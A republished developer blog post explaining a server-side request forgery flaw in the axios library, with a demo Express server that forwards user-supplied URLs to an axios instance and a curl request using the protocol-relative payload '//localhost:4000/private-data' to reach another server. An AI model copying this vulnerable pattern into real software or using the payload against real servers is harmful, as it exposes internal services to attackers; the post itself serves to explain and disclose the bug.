This content originally appeared on DEV Community and was authored by Jairo Fernández
Yesterday, I was happily finishing an upgrade at work, and everything seemed perfect . All the dependencies migrated smoothly, and my npm audit looked great
. But then…
Server-Side Request Forgery in axios
https://github.com/advisories/GHSA-8hc4-vh64-cxmj
I spent a lot of time fixing things, only to see that stupid message . My OCD was driving me crazy
.
And, I said, hmmm how exactly this error works? what the hell is SSRF? I’ll try to explain fast the concept and share with you the discovery 😀
SSRF, or Server-Side Request Forgery, is like tricking your server into being an unintentional errand boy . It’s when a hacker gets your server to make requests to places it shouldn’t, kind of like sending your dog to fetch a stick but it comes back with a bomb instead
. (from ChatGPT
)
In code please!
Normally, axios works, in your server when you need to do some external request to https://some-domain.com/api/, you can do something like this:
const instance = axios.create({
baseURL: 'https://jsonplaceholder.typicode.com/',
timeout: 1000,
headers: { accept: 'application/json' }
});
In theory, this is our innocent and pure server meant to fetch resources from jsonplaceholder:
const axios = require('axios');
const express = require('express');
const instance = axios.create({
baseURL: 'https://jsonplaceholder.typicode.com/',
timeout: 1000,
headers: { accept: 'application/json' },
});
const app = express();
const port = 3000;
app.use(express.json());
app.post('/fetch-data', async (req, res) => {
const url = req.body.url;
try {
const response = await instance.get(url);
console.log(response.data);
res.json(response.data);
} catch (error) {
console.error(error);
console.log('URL:', url);
res
.status(500)
.json({ message: 'Error fetching data', error: error.message });
}
});
app.listen(port, () => {
console.log(`Server running on http://localhost:${port}`);
});
You can try this one on terminal:
curl -X POST http://localhost:3000/fetch-data \
-H "Content-Type: application/json" \
-d '{"url": "/todos/1"}'
The response is like this:
{"userId":1,"id":1,"title":"delectus aut autem","completed":false}
everything is beautiful, but…
Now, if you have another server (acting as a malicious server) on http://localhost:4000
, what happens when the user tests it:
const axios = require('axios');
const express = require('express');
const app = express();
const port = 4000;
app.use(express.json());
app.get('/private-data', async (req, res) => {
const url = req.body.url;
try {
console.log('Private URL:', url);
console.log('WTF??????');
res.send({ message: 'Data fetched' });
} catch (error) {
console.error(error);
console.log('URL:', url);
res.status(500).send('Error fetching data');
}
});
app.listen(port, () => {
console.log(`Server running on http://localhost:${port}`);
});
Try again
curl -X POST http://localhost:3000/fetch-data \
-H "Content-Type: application/json" \
-d '{"url": "//localhost:4000/private-data"}'
you will get this response:
{"message":"Data fetched"} # data from other server!
“So, this is really bad because you’re trusting the axios instance. The good news is that within a day, the issue in axios was successfully fixed in version 1.7.4
.”
If you want to play with this, please check the experiment here
![]()
This content originally appeared on DEV Community and was authored by Jairo Fernández